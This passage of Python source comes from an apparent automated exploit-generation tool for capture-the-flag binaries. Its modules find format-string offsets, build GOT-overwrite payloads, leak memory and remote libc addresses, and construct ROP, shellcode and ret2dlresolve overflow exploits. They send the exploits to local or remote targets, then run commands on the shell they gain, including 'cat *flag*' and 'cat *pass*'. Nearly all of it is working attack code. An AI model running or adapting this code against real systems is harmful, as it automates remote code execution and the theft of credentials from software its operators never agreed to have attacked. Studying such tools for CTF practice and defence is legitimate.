561 | )
562 |
563 | def run(self, _, fmt):
564 | if not self.checkExploitable(fmt):
565 | return super(type(self), self).run(fmt)
566 |
567 |
568 | def getRemoteFormat(properties, remote_url, remote_port):
569 | exploit_results = {}
570 |
571 | input_pos = properties["pwn_type"]["position"]
572 | input_len = properties["pwn_type"]["length"]
573 | input_string = properties["pwn_type"]["input"]
574 |
575 | if "64" in properties["protections"]["arch"]:
576 | context.arch = "amd64"
577 |
578 | # Slice constrolled input
579 | start_slice = input_string[:input_pos]
580 | end_slice = input_string[input_pos + input_len :]
581 |
582 | stack_position = -1
583 | log.info("[~] Locating buffer stack location")
584 | # Determine stack location
585 | for i in range(1, 50):
586 | iter_string = "AAAA_%{}$08x_".format(i)
587 | iter_string = assembleInput(iter_string, start_slice, end_slice, input_len)
588 |
589 | results = runIteration(
590 | None,
591 | iter_string,
592 | remote_server=True,
593 | remote_url=remote_url,
594 | remote_port=remote_port,
595 | )
596 | if "41414141" in results: # 0x41414141 == "AAAA"
597 | stack_position = i
598 | log.info("[+] Found stack location at {}".format(stack_position))
599 | break
600 |
601 | if properties["win_functions"] is not None:
602 | for func in properties["win_functions"]:
603 | address = properties["win_functions"][func]["fcn_addr"]
604 | for got_name, got_addr in list(properties["protections"]["got"].items()):
605 | log.info("[~] Overwritting {}".format(got_name))
606 | writes = {got_addr: address}
607 | format_payload = fmtstr_payload(
608 | stack_position, writes, numbwritten=input_pos
609 | )
610 | if len(format_payload) > input_len:
611 | log.info("[~] Format input to large, shrinking")
612 | format_payload = fmtstr_payload(
613 | stack_position,
614 | writes,
615 | numbwritten=input_pos,
616 | write_size="short",
617 | )
618 |
619 | format_input = assembleInput(
620 | format_payload, start_slice, end_slice, input_len
621 | )
622 |
623 | log.info(repr(format_input))
624 | results = sendExploit(
625 | None,
626 | properties,
627 | format_input,
628 | remote_server=True,
629 | remote_url=remote_url,
630 | port_num=remote_port,
631 | )
632 | if results["flag_found"]:
633 | exploit_results["flag_found"] = results["flag_found"]
634 | exploit_results["input"] = format_input
635 | return exploit_results
636 | return exploit_results
637 |
638 |
639 | """
640 | Maintain original input size
641 | Change this later to use angr
642 | And add these as constraints off a path
643 | """
644 |
645 |
646 | def assembleInput(str_input, start_slice, end_slice, input_len):
647 | input_len
648 | str_len = len(str_input)
649 | for i in range(input_len - str_len):
650 | str_input += b"A"
651 | return start_slice + str_input + end_slice
652 |
653 |
654 | def runIteration(
655 | binary_name,
656 | str_input,
657 | remote_server=False,
658 | remote_url="",
659 | remote_port=0,
660 | input_type="STDIN",
661 | ):
662 |
663 | if input_type == "STDIN" or input_type == "LIBPWNABLE":
664 | if remote_server:
665 | proc = remote(remote_url, remote_port)
666 | else:
667 | proc = process(binary_name)
668 | proc.sendline(str_input)
669 |
670 | results = proc.recvall(timeout=5)
671 | log.info(results)
672 | results_split = results.split(b"_")
673 |
674 | # Get only hex strings of 8 characters or fewer
675 | position_leak = [
676 | x for x in results_split if all([y in string.hexdigits.encode() for y in x])
677 | ]
678 |
679 | leak = list(filter(lambda x: (b"61616161" in x), position_leak))
680 | log.info(position_leak)
681 | if len(leak):
682 | return leak[0]
683 | return b""
684 | # There should only be one
685 | # leak = [position_leak][0]
686 | else:
687 | proc = process([binary_name, str_input.rstrip(b"\x00")])
688 |
689 | results = proc.recvall(timeout=5)
690 | log.info(results)
691 | results_split = results.split(b"_")
692 |
693 | # Get only hex strings of 8 characters or fewer
694 | position_leak = [
695 | x for x in results_split if all([y in string.hexdigits for y in x])
696 | ]
697 |
698 | # There should only be one
699 | leak = [position_leak][0]
700 |
701 | return leak
702 |
703 |
704 | def sendExploit(
705 | binary_name,
706 | properties,
707 | input_string,
708 | remote_server=False,
709 | remote_url="",
710 | port_num=0,
711 | ):
712 |
713 | send_results = {}
714 | hadIssue = False
715 |
716 | if properties["input_type"] == "STDIN" or properties["input_type"] == "LIBPWNABLE":
717 | # Create local or remote process
718 | if remote_server:
719 | proc = remote(remote_url, port_num)
720 | else:
721 | proc = process(binary_name)
722 |
723 | proc.sendline(input_string)
724 | # log.info(repr(input_string))
725 |
726 | # Sometimes the flag is just printed
727 | results = proc.recvall(timeout=15)
728 | else:
729 | try:
730 | proc = process([binary_name, input_string])
731 | except:
732 | log.info("[-] Issue with nulls in arg")
733 | hadIssue = True
734 |
735 | # log.info(repr(input_string))
736 |
737 | # Sometimes the flag is just printed
738 | if not hadIssue:
739 | results = proc.recvall(timeout=15)
740 |
741 | log.info(results)
742 | send_results["flag_found"] = False
743 | if not hadIssue and b"{" in results and b"}" in results:
744 | send_results["flag_found"] = True
745 | log.info("[+] Flag found:")
746 | log.info(results.replace(b"\x20", b""))
747 | # Flag not in stdout, we have a shell
748 | else:
749 |
750 | if (
751 | properties["input_type"] == "STDIN"
752 | or properties["input_type"] == "LIBPWNABLE"
753 | ):
754 | if remote_server:
755 | proc = remote(remote_url, port_num)
756 | else:
757 | proc = process(binary_name)
758 | proc.sendline(input_string)
759 | else:
760 | try:
761 | proc = process([binary_name, input_string])
762 | except:
763 | log.info("[-] Issue with nulls in arg")
764 |
765 | try:
766 | proc.sendline()
767 | proc.sendline(b"ls;\n")
768 | proc.sendline(b"cat *flag*;\n")
769 | proc.sendline(b"cat *pass*;\n")
770 | command_results = proc.recvall(
771 | timeout=30
772 | ) # Need a better way to "time out"
773 | # log.info(command_results)
774 | if b"{" in command_results and b"}" in command_results:
775 | send_results["flag_found"] = True
776 | log.info("[+] Flag found:")
777 | log.info(command_results.replace(b"\x20", b""))
778 | except:
779 | pass
780 |
781 | return send_results
782 |
--------------------------------------------------------------------------------
/zeratool/formatLeak.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | import binascii
3 | import string
4 |
5 |
6 | def checkLeak(
7 | binary_name, properties, remote_server=False, remote_url="", port_num=1337
8 | ):
9 |
10 | full_string = b""
11 | run_count = 50
12 |
13 | # Should have plenty of _%x_ in string
14 | base_input_string = properties["pwn_type"]["input"]
15 |
16 | format_specifier = b"lx"
17 | if "amd64" in properties["protections"]["arch"]:
18 | format_specifier = b"llx"
19 |
20 | format_count = base_input_string.count(b"_%" + format_specifier)
21 |
22 | if properties["input_type"] == "STDIN" or properties["input_type"] == "LIBPWNABLE":
23 | for i in range(int(run_count / format_count) + 1):
24 |
25 | # Create local or remote process
26 | if remote_server:
27 | proc = remote(remote_url, port_num)
28 | else:
29 | proc = process(binary_name)
30 |
31 | input_string = base_input_string
32 |
33 | # Swap in values for every _%x
34 | for j in range(format_count):
35 | iter_num = (i * format_count) + j
36 | iter_byte = str(iter_num).encode()
37 | input_string = input_string.replace(
38 | b"_%" + format_specifier,
39 | b"_%" + iter_byte + b"$" + format_specifier,
40 | 1,
41 | )
42 |
43 | print("[+] Sending input {}".format(input_string))
44 | proc.sendline(input_string)
45 |
46 | results = proc.recvall(timeout=5)
47 |
48 | """
49 | 1. Split data by '_'
50 | 2. Filter by hexdigits
51 | 3. flip bytes for endianess
52 | 4. hex to ascii converstion
53 | """
54 | data_leaks = results.split(b"_")
55 | # data_leaks = [
56 | # x[0:8] if all([y in string.hexdigits.encode() for y in x]) else b""
57 | # for x in data_leaks
58 | # ]
59 | # Swap endianess
60 | data_leaks = [
61 | b"".join([y[x : x + 2] for x in range(0, len(y), 2)][::-1])
62 | for y in data_leaks
63 | ]
64 | try:
65 | data_copy = data_leaks
66 | print(data_copy)
67 | data_leaks = [binascii.unhexlify(x.decode()) for x in data_leaks]
68 | except binascii.Error:
69 | print("[~] Odd length string detected... Skipping")
70 | temp_data = []
71 | for x in data_copy:
72 | try:
73 | temp_data.append(binascii.unhexlify(x.decode()))
74 | except:
75 | # pass
76 | print("[+] Bad chunk {}".format(x))
77 |
78 | data_leaks = temp_data
79 | print(data_leaks)
80 | full_string += b"".join(data_leaks)
81 |
82 | # Only return printable ASCII
83 | print(b"".join([x.to_bytes(1, "little") for x in full_string]))
84 | full_string = b"".join(
85 | [
86 | x.to_bytes(1, "little")
87 | if x.to_bytes(1, "little") in string.printable.encode()
88 | else b""
89 | for x in full_string
90 | ]
91 | )
92 | else:
93 | for i in range((run_count / format_count) + 1):
94 |
95 | input_string = base_input_string
96 |
97 | # Swap in values for every _%x
98 | for j in range(format_count):
99 | iter_num = (i * format_count) + j
100 | input_string = input_string.replace(
101 | b"_%x", b"_%{}$".format(iter_num) + format_specifier, 1
102 | ).rstrip("\x00")
103 |
104 | # Create local or remote process
105 | proc = process([binary_name, input_string])
106 |
107 | # print("[+] Sending input {}".format(input_string))
108 | # proc.sendline(input_string)
109 |
110 | results = proc.recvall(timeout=5)
111 |
112 | """
113 | 1. Split data by '_'
114 | 2. Filter by hexdigits
115 | 3. flip bytes for endianess
116 | 4. hex to ascii converstion
117 | """
118 | data_leaks = results.split(b"_")
119 | data_leaks = [
120 | x[0:8] if all([y in string.hexdigits for y in x]) else b""
121 | for x in data_leaks
122 | ]
123 | data_leaks = [
124 | b"".join([y[x : x + 2] for x in range(0, len(y), 2)][::-1])
125 | for y in data_leaks
126 | ]
127 | data_leaks = [binascii.unhexlify(x) for x in data_leaks]
128 |
129 | full_string += b"".join(data_leaks)
130 |
131 | # Only return printable ASCII
132 | full_string = b"".join(
133 | [x if x in string.printable else b"" for x in full_string]
134 | )
135 |
136 | leakProperties = {}
137 | leakProperties["flag_found"] = False
138 |
139 | # Dumb check for finding flag
140 | if b"{" in full_string and b"}" in full_string:
141 | print("[+] Flag found:")
142 | leakProperties["flag_found"] = True
143 |
144 | leakProperties["leak_string"] = full_string
145 | print("[+] Returned {}".format(full_string))
146 | return leakProperties
147 |
--------------------------------------------------------------------------------
/zeratool/inputDetector.py:
--------------------------------------------------------------------------------
1 | import angr
2 | import IPython
3 |
4 | stdin = "STDIN"
5 | arg = "ARG"
6 | libpwnable = "LIBPWNABLE"
7 |
8 |
9 | def checkInputType(binary_name):
10 |
11 | # Check for libpwnableharness
12 | p = angr.Project(binary_name)
13 | if any(["libpwnable" in str(x.binary) for x in p.loader.all_elf_objects]):
14 | return libpwnable
15 |
16 | p = angr.Project(binary_name, load_options={"auto_load_libs": False})
17 |
18 | # CFG = p.analyses.CFGFast()
19 |
20 | # Functions which MIGHT grab from STDIN
21 | reading_functions = ["fgets", "gets", "scanf", "read", "__isoc99_scanf"]
22 | # binary_functions = [str(x[1].name) for x in CFG.kb.functions.items()]
23 | binary_functions = list(p.loader.main_object.imports.keys())
24 |
25 | # Match reading functions against local functions
26 | if any([x in reading_functions for x in binary_functions]):
27 | return "STDIN"
28 | return "ARG"
29 |
--------------------------------------------------------------------------------
/zeratool/malloc_model.py:
--------------------------------------------------------------------------------
1 | import angr
2 |
3 |
4 | class malloc_addr_tracker(angr.procedures.libc.malloc.malloc):
5 | IS_FUNCTION = True
6 |
7 | def store_addr(self, addr):
8 |
9 | if "stored_malloc" not in self.state.globals.keys():
10 | self.state.globals["stored_malloc"] = []
11 | self.state.globals["stored_malloc"].append(addr)
12 |
13 | def run(self, sim_size):
14 | addr = super(type(self), self).run(sim_size)
15 | self.store_addr(addr)
16 | return addr
17 |
--------------------------------------------------------------------------------
/zeratool/overflowDetector.py:
--------------------------------------------------------------------------------
1 | import angr
2 | from angr import sim_options as so
3 | import claripy
4 | import time
5 | import timeout_decorator
6 | import IPython
7 | from .simgr_helper import overflow_detect_filter, hook_win, hook_four
8 | import logging
9 |
10 | log = logging.getLogger(__name__)
11 |
12 |
13 | def checkOverflow(binary_name, inputType="STDIN"):
14 |
15 | extras = {
16 | so.REVERSE_MEMORY_NAME_MAP,
17 | so.TRACK_ACTION_HISTORY,
18 | so.SYMBOL_FILL_UNCONSTRAINED_MEMORY,
19 | so.SYMBOL_FILL_UNCONSTRAINED_REGISTERS,
20 | }
21 |
22 | p = angr.Project(binary_name, load_options={"auto_load_libs": False})
23 | # Hook rands
24 | p.hook_symbol("rand", hook_four())
25 | p.hook_symbol("srand", hook_four())
26 |
27 | p.hook_symbol("system", hook_win())
28 | # p.hook_symbol('fgets',angr.SIM_PROCEDURES['libc']['gets']())
29 |
30 | # Setup state based on input type
31 | argv = [binary_name]
32 | input_arg = claripy.BVS("input", 300 * 8)
33 | if inputType == "STDIN":
34 | state = p.factory.full_init_state(args=argv, stdin=input_arg)
35 | state.globals["user_input"] = input_arg
36 | elif inputType == "LIBPWNABLE":
37 | handle_connection = p.loader.main_object.get_symbol("handle_connection")
38 | state = p.factory.entry_state(
39 | addr=handle_connection.rebased_addr, stdin=input_arg, add_options=extras
40 | )
41 | state.globals["user_input"] = input_arg
42 | else:
43 | argv.append(input_arg)
44 | state = p.factory.full_init_state(args=argv)
45 | state.globals["user_input"] = input_arg
46 |
47 | state.libc.buf_symbolic_bytes = 0x100
48 | state.globals["inputType"] = inputType
49 | simgr = p.factory.simgr(state, save_unconstrained=True)
50 |
51 | run_environ = {}
52 | run_environ["type"] = None
53 | end_state = None
54 | # Lame way to do a timeout
55 | try:
56 |
57 | @timeout_decorator.timeout(120)
58 | def exploreBinary(simgr):
59 | simgr.explore(
60 | find=lambda s: "type" in s.globals, step_func=overflow_detect_filter
61 | )
62 |
63 | exploreBinary(simgr)
64 | if "found" in simgr.stashes and len(simgr.found):
65 | end_state = simgr.found[0]
66 | run_environ["type"] = end_state.globals["type"]
67 |
68 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
69 | log.info("[~] Keyboard Interrupt")
70 |
71 | if "input" in run_environ.keys() or run_environ["type"] == "overflow_variable":
72 | run_environ["input"] = end_state.globals["input"]
73 | log.info("[+] Triggerable with input : {}".format(end_state.globals["input"]))
74 | return run_environ
75 |
--------------------------------------------------------------------------------
/zeratool/overflowExploitSender.py:
--------------------------------------------------------------------------------
1 | from pwn import remote, process, u64, u32, ELF, gdb
2 | import re
3 | from .overflowExploiter import exploitOverflow
4 | import logging
5 |
6 | log = logging.getLogger(__name__)
7 |
8 |
9 | def sendExploit(
10 | binary_name,
11 | properties,
12 | remote_server=False,
13 | remote_url="",
14 | port_num=0,
15 | user_input=None,
16 | debug=False,
17 | ):
18 |
19 | send_results = {}
20 |
21 | # Create local or remote process
22 | if remote_server:
23 | proc = remote(remote_url, port_num)
24 | else:
25 | proc = process(binary_name)
26 | if debug:
27 | gdb.attach(
28 | proc,
29 | """
30 | b *0x4006b0
31 | c
32 | """,
33 | )
34 |
35 | # Command to send
36 | if user_input is None:
37 | user_input = properties["pwn_type"]["results"]["input"]
38 |
39 | if properties["pwn_type"]["results"]["type"] == "dlresolve":
40 | proc.clean_and_log(timeout=1)
41 |
42 | dlresolve_first = properties["pwn_type"]["results"]["dlresolve_first"]
43 | dlresolve_second = properties["pwn_type"]["results"]["dlresolve_second"]
44 |
45 | proc.send(dlresolve_first)
46 |
47 | proc.clean_and_log(timeout=1)
48 |
49 | try:
50 | proc.send(dlresolve_second)
51 | except EOFError:
52 | log.error("Got EOF error")
53 | return None
54 |
55 | elif properties["pwn_type"]["results"]["type"] == "leak":
56 | leak_input = properties["pwn_type"]["results"]["leak_input"]
57 | leak_output = properties["pwn_type"]["results"]["leak_output"]
58 | leaked_function = properties["pwn_type"]["results"]["leaked_function"]
59 | output_len = len(leak_output)
60 |
61 | proc.clean_and_log(timeout=1)
62 |
63 | if leak_input.endswith(b"\n"):
64 | proc.send(leak_input)
65 | else:
66 | proc.sendline(leak_input)
67 |
68 | bytes_with_leak = proc.recvuntil(b"\n").replace(b"\n", b"")
69 |
70 | log.info("Second clean and log")
71 | proc.clean_and_log()
72 |
73 | # bytes_with_leak = proc.read()
74 | if properties["protections"]["arch"] == "amd64":
75 | total_leak = bytes_with_leak.ljust(8, b"\x00")
76 | leaked_val = u64(total_leak) # puts won't print null bytes
77 | else:
78 | total_leak = bytes_with_leak.ljust(4, b"\x00")
79 | leaked_val = u32(total_leak) # puts won't print null bytes
80 |
81 | log.info("--- Leak ---")
82 | log.info(total_leak)
83 | log.info(bytes_with_leak)
84 |
85 | log.info("leak is {}".format(hex(leaked_val)))
86 | log.info(
87 | "leaked function {} found at {}".format(leaked_function, hex(leaked_val))
88 | )
89 | properties["pwn_type"]["results"]["leaked_function_address"] = leaked_val
90 |
91 | if properties.get("libc", None):
92 | if isinstance(properties["libc"], dict):
93 | remote_libc = properties["libc"]["remote_libc"][0]
94 | leaked_function_offset = int(
95 | remote_libc["symbols"][leaked_function], 16
96 | )
97 | properties["libc_base_address"] = leaked_val - leaked_function_offset
98 | else:
99 | libc = ELF(properties["libc"])
100 | properties["libc_base_address"] = (
101 | leaked_val - libc.symbols[leaked_function]
102 | )
103 |
104 | log.info(
105 | "[+] Leak sets libc address to {}".format(
106 | hex(properties["libc_base_address"])
107 | )
108 | )
109 |
110 | # Make second stage pwn
111 | properties["pwn_type"]["results"] = exploitOverflow(
112 | binary_name, properties, inputType=properties["input_type"]
113 | )
114 |
115 | second_stage_input = properties["pwn_type"]["results"]["input"]
116 | try:
117 | proc.sendline(second_stage_input)
118 | except EOFError:
119 | log.error("Got EOF error")
120 | return None
121 |
122 | else:
123 | proc.sendline(user_input)
124 |
125 | # If we have a shell, send some commands!
126 | proc.sendline()
127 | proc.sendline(b"ls;\n")
128 | proc.sendline(b"cat *flag*;\n")
129 | proc.sendline(b"cat *pass*;\n")
130 |
131 | # Sometimes the flag is just printed
132 | results = proc.recvall(timeout=3)
133 | log.debug(results)
134 | print(results)
135 |
136 | send_results["flag_found"] = False
137 | if b"{" in results and b"}" in results:
138 | send_results["flag_found"] = True
139 | log.info("[+] Flag found:")
140 | log.info(results)
141 |
142 | return send_results
143 |
--------------------------------------------------------------------------------
/zeratool/overflowExploiter.py:
--------------------------------------------------------------------------------
1 | import angr
2 | import claripy
3 | import time
4 | import timeout_decorator
5 | import IPython
6 | import r2pipe
7 | import json
8 | import os
9 | import subprocess
10 | from struct import pack
11 | from angr import sim_options as so
12 | from zeratool import puts_model, printf_model, malloc_model
13 | from .simgr_helper import hook_four
14 | import logging
15 |
16 | log = logging.getLogger(__name__)
17 |
18 | # from pwn import *
19 |
20 | from .simgr_helper import (
21 | point_to_win_filter,
22 | point_to_shellcode_filter,
23 | point_to_ropchain_filter,
24 | )
25 | from .radare_helper import getRegValues, findShellcode, get_base_addr
26 |
27 |
28 | """
29 | one gadget is writtin in ruby, so we need to call it externally
30 | These are all offsets into libc
31 | """
32 |
33 |
34 | def getOneGadget(properties):
35 |
36 | from subprocess import Popen, PIPE, STDOUT
37 |
38 | if "libc" not in properties or properties["libc"] is None:
39 | log.info("[-] One gadget RCE relies on libc. Please add libc")
40 | exit(0)
41 | if "libc_base" not in properties or properties["libc_base"] is None:
42 | log.info("[~] No libc base address specified. Chains will use 0x0 as base")
43 |
44 | # If installed using helper script, one gadget should be on $PATH
45 | one_gadget = Popen("one_gadget", properties["libc"], stdout=PIPE)
46 | lines = one_gadgets.stdout.communicate()[0].split("\n")
47 |
48 | gadget_addrs = []
49 |
50 | # Only grab the addresses
51 | for line in lines:
52 | if "/bin/sh" in line:
53 | log.info("[+] {}".format(line))
54 | gadget_addrs.append(line.split(" ")[0])
55 |
56 | return gadget_addrs
57 |
58 |
59 | def exploitOverflow(binary_name, properties, inputType="STDIN"):
60 |
61 | run_environ = properties["pwn_type"].get("results", {})
62 | run_environ["type"] = run_environ.get("type", None)
63 |
64 | p = angr.Project(binary_name, load_options={"auto_load_libs": False})
65 | if properties.get("libc", None) and not isinstance(properties["libc"], dict):
66 | libc_base_addr = properties.get("libc_base_address", 0x500000)
67 | libc_base_name = os.path.basename(properties["libc"])
68 | p = angr.Project(
69 | binary_name,
70 | load_options={"auto_load_libs": False},
71 | force_load_libs=[properties["libc"]],
72 | lib_opts={libc_base_name: {"base_addr": libc_base_addr}},
73 | )
74 | if p.loader.main_object.pic:
75 | log.info("Binary is PIC getting base addr")
76 | base_addr = get_base_addr(binary_name)
77 | p = angr.Project(
78 | binary_name,
79 | load_options={
80 | "auto_load_libs": False,
81 | "main_opts": {"base_addr": base_addr},
82 | },
83 | )
84 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS}
85 |
86 | p.hook_symbol("rand", hook_four())
87 | p.hook_symbol("srand", hook_four())
88 | p.hook_symbol("puts", puts_model.putsFormat())
89 |
90 | p.hook_symbol("printf", printf_model.printf_leak_detect(0))
91 | p.hook_symbol("fprintf", printf_model.printf_leak_detect(1))
92 | p.hook_symbol("dprintf", printf_model.printf_leak_detect(1))
93 | p.hook_symbol("sprintf", printf_model.printf_leak_detect(1))
94 | p.hook_symbol("snprintf", printf_model.printf_leak_detect(2))
95 | p.hook_symbol("vprintf", printf_model.printf_leak_detect(1))
96 | p.hook_symbol("vfprintf", printf_model.printf_leak_detect(1))
97 | p.hook_symbol("vdprintf", printf_model.printf_leak_detect(1))
98 | p.hook_symbol("vsprintf", printf_model.printf_leak_detect(1))
99 | p.hook_symbol("vsnprintf", printf_model.printf_leak_detect(2))
100 |
101 | p.hook_symbol("malloc", malloc_model.malloc_addr_tracker())
102 |
103 | has_pie = properties.get("protections", {}).get("pie", False)
104 |
105 | # Setup state based on input type
106 | argv = [binary_name]
107 | input_arg = claripy.BVS("input", 400 * 8)
108 | if inputType == "STDIN":
109 | entry_addr = p.loader.main_object.entry
110 | if not has_pie:
111 | reg_values = getRegValues(binary_name, entry_addr)
112 | state = p.factory.full_init_state(
113 | args=argv,
114 | add_options=extras,
115 | stdin=input_arg,
116 | env=os.environ,
117 | )
118 |
119 | if not has_pie:
120 | # Just set the registers
121 | register_names = list(state.arch.register_names.values())
122 | for register in register_names:
123 | if register in reg_values: # Didn't use the register
124 | state.registers.store(register, reg_values[register])
125 |
126 | elif inputType == "LIBPWNABLE":
127 |
128 | handle_connection = p.loader.main_object.get_symbol("handle_connection")
129 | start_addr = handle_connection.rebased_addr
130 |
131 | reg_values = getRegValues(binary_name, start_addr)
132 |
133 | state = p.factory.entry_state(
134 | args=argv,
135 | env=os.environ,
136 | addr=start_addr,
137 | add_options=extras,
138 | stdin=input_arg,
139 | )
140 | # state = p.factory.full_init_state(args=argv,env=os.environ,addr=start_addr,add_options=extras)
141 |
142 | if not has_pie:
143 | # Just set the registers
144 | register_names = list(state.arch.register_names.values())
145 | for register in register_names:
146 | if register in reg_values: # Didn't use the register
147 | state.registers.store(register, reg_values[register])
148 |
149 | else:
150 | argv.append(input_arg)
151 | state = p.factory.full_init_state(args=argv, add_options=extras)
152 |
153 | state.globals["needs_leak"] = True
154 | if run_environ["type"] == "leak":
155 | state.globals["needs_leak"] = False
156 | state.globals["leak_input"] = run_environ["leak_input"]
157 | for x, y in enumerate(run_environ["leak_input"]):
158 | state.add_constraints(input_arg.get_byte(x) == y)
159 |
160 | state.libc.buf_symbolic_bytes = 0x100
161 | state.globals["user_input"] = input_arg
162 | state.globals["inputType"] = inputType
163 | state.globals["properties"] = properties
164 | simgr = p.factory.simgr(state, save_unconstrained=True)
165 |
166 | step_func = pickFilter(simgr, properties)
167 | if step_func is None:
168 | log.info("[-] Error could not device exploit strategy")
169 | exit(1)
170 |
171 | end_state = None
172 | # Lame way to do a timeout
173 | simgr.explore(find=lambda s: "type" in s.globals, step_func=step_func)
174 | try:
175 |
176 | @timeout_decorator.timeout(1200)
177 | def exploreBinary(simgr):
178 | simgr.explore(find=lambda s: "type" in s.globals, step_func=step_func)
179 |
180 | exploreBinary(simgr)
181 |
182 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
183 | log.info("[~] Overflow check timed out")
184 | return run_environ
185 |
186 | end_state = simgr.found[0]
187 | run_environ["type"] = end_state.globals["type"]
188 | if run_environ["type"] == "leak":
189 | run_environ["leak_input"] = end_state.globals["leak_input"] + b"\n"
190 | run_environ["leak_output"] = end_state.globals["output_before_leak"]
191 | run_environ["leaked_function"] = end_state.globals["leaked_func"]
192 |
193 | if run_environ["type"] == "dlresolve":
194 | run_environ["dlresolve_first"] = end_state.globals["dlresolve_first"]
195 | run_environ["dlresolve_second"] = end_state.globals["dlresolve_second"]
196 |
197 | run_environ["input"] = end_state.globals.get("input", None)
198 |
199 | log.info("[+] Triggerable with input : {}".format(run_environ["input"]))
200 | return run_environ
201 |
202 |
203 | def pickFilter(simgr, properties):
204 |
205 | has_nx = properties.get("protections", {}).get("nx", True)
206 | force_shellcode = properties.get("force_shellcode", False)
207 | if properties.get("win_functions", None):
208 | log.info("[+] Using point to win function technique")
209 | return point_to_win_filter
210 | elif not has_nx and force_shellcode:
211 | log.info("[+] Binary does not have NX")
212 | log.info("[+] Placing shellcode and pointing")
213 | return point_to_shellcode_filter
214 | else:
215 | log.info("[+] Building rop and pointing")
216 | return point_to_ropchain_filter
217 | return None
218 |
--------------------------------------------------------------------------------
/zeratool/overflowRemoteLeaker.py:
--------------------------------------------------------------------------------
1 | import angr
2 | import claripy
3 | import timeout_decorator
4 | import os
5 | from struct import pack
6 | from angr import sim_options as so
7 | from zeratool import puts_model
8 | import logging
9 |
10 | log = logging.getLogger(__name__)
11 |
12 | # from pwn import *
13 |
14 | from .simgr_helper import (
15 | point_to_win_filter,
16 | point_to_shellcode_filter,
17 | point_to_ropchain_filter,
18 | leak_remote_libc_functions,
19 | hook_four,
20 | )
21 | from .radare_helper import getRegValues, findShellcode, get_base_addr
22 |
23 |
24 | def leak_remote_functions(binary_name, properties, inputType="STDIN"):
25 |
26 | run_environ = properties["pwn_type"].get("results", {})
27 | run_environ["type"] = run_environ.get("type", None)
28 |
29 | p = angr.Project(binary_name, load_options={"auto_load_libs": False})
30 |
31 | # Don't even try for pic
32 | if p.loader.main_object.pic:
33 | return
34 |
35 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS}
36 |
37 | p.hook_symbol("rand", hook_four())
38 | p.hook_symbol("srand", hook_four())
39 | p.hook_symbol("puts", puts_model.putsFormat())
40 |
41 | # Setup state based on input type
42 | argv = [binary_name]
43 | input_arg = claripy.BVS("input", 400 * 8)
44 | if inputType == "STDIN":
45 | entry_addr = p.loader.main_object.entry
46 | reg_values = getRegValues(binary_name, entry_addr)
47 |
48 | state = p.factory.full_init_state(
49 | args=argv,
50 | add_options=extras,
51 | stdin=input_arg,
52 | env=os.environ,
53 | )
54 |
55 | # Just set the registers
56 | register_names = list(state.arch.register_names.values())
57 | for register in register_names:
58 | if register in reg_values: # Didn't use the register
59 | state.registers.store(register, reg_values[register])
60 |
61 | elif inputType == "LIBPWNABLE":
62 |
63 | handle_connection = p.loader.main_object.get_symbol("handle_connection")
64 | start_addr = handle_connection.rebased_addr
65 |
66 | reg_values = getRegValues(binary_name, start_addr)
67 |
68 | state = p.factory.entry_state(
69 | args=argv,
70 | env=os.environ,
71 | addr=start_addr,
72 | add_options=extras,
73 | stdin=input_arg,
74 | )
75 |
76 | # Just set the registers
77 | register_names = list(state.arch.register_names.values())
78 | for register in register_names:
79 | if register in reg_values: # Didn't use the register
80 | state.registers.store(register, reg_values[register])
81 |
82 | state.libc.buf_symbolic_bytes = 0x200
83 | state.globals["user_input"] = input_arg
84 | state.globals["inputType"] = inputType
85 | state.globals["properties"] = properties
86 | state.globals["needs_leak"] = True
87 | simgr = p.factory.simgr(state, save_unconstrained=True)
88 |
89 | end_state = None
90 | # Lame way to do a timeout
91 | try:
92 |
93 | @timeout_decorator.timeout(1200)
94 | def exploreBinary(simgr):
95 | simgr.explore(
96 | find=lambda s: "libc" in s.globals, step_func=leak_remote_libc_functions
97 | )
98 |
99 | exploreBinary(simgr)
100 |
101 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
102 | log.info("[~] Overflow check timed out")
103 | return run_environ
104 |
105 | end_state = simgr.found[0]
106 |
107 | if end_state.globals.get("libc", False):
108 | log.info("Found remote libc")
109 | run_environ["remote_libc"] = end_state.globals["libc"]
110 | log.info(run_environ["remote_libc"])
111 |
112 | return run_environ
113 |
--------------------------------------------------------------------------------
/zeratool/printf_model.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | import angr
3 | import claripy
4 | import tqdm
5 | from .simgr_helper import get_trimmed_input
6 | import logging
7 | import copy
8 |
9 | log = logging.getLogger(__name__)
10 |
11 | # Better symbolic strlen
12 | def get_max_strlen(state, value):
13 | i = 0
14 | for c in value.chop(8): # Chop by byte
15 | i += 1
16 | if not state.solver.satisfiable([c != 0x00]):
17 | log.debug("Found the null at offset : {}".format(i))
18 | return i - 1
19 | return i
20 |
21 |
22 | """
23 | Model either printf("User input") or printf("%s","Userinput")
24 | """
25 |
26 |
27 | class printFormat(angr.procedures.libc.printf.printf):
28 | IS_FUNCTION = True
29 | input_index = 0
30 | """
31 | Checks userinput arg
32 | """
33 |
34 | def __init__(self, input_index):
35 | # Set user input index for different
36 | # printf types
37 | self.input_index = input_index
38 | angr.procedures.libc.printf.printf.__init__(self)
39 |
40 | def checkExploitable(self, fmt):
41 |
42 | bits = self.state.arch.bits
43 | load_len = int(bits / 8)
44 | max_read_len = 1024
45 | """
46 | For each value passed to printf
47 | Check to see if there are any symbolic bytes
48 | Passed in that we control
49 | """
50 | i = self.input_index
51 | state = self.state
52 | solv = state.solver.eval
53 |
54 | # fmt_len = self._sim_strlen(fmt)
55 | # # We control format specifier and strlen isn't going to be helpful,
56 | # # just set it ourselves
57 | # if len(state.solver.eval_upto(fmt_len,2)) > 1:
58 | # while not state.satisfiable(extra_constraints=[fmt_len == max_read_len]):
59 | # max_read_len -=1
60 | # if max_read_len < 0:
61 | # raise Exception("fmt string with no length!")
62 | # state.add_constraints(fmt_len == max_read_len)
63 |
64 | if len(self.arguments) <= i:
65 | return False
66 | printf_arg = self.arguments[i]
67 |
68 | var_loc = solv(printf_arg)
69 |
70 | # Parts of this argument could be symbolic, so we need
71 | # to check every byte
72 | var_data = state.memory.load(var_loc, max_read_len)
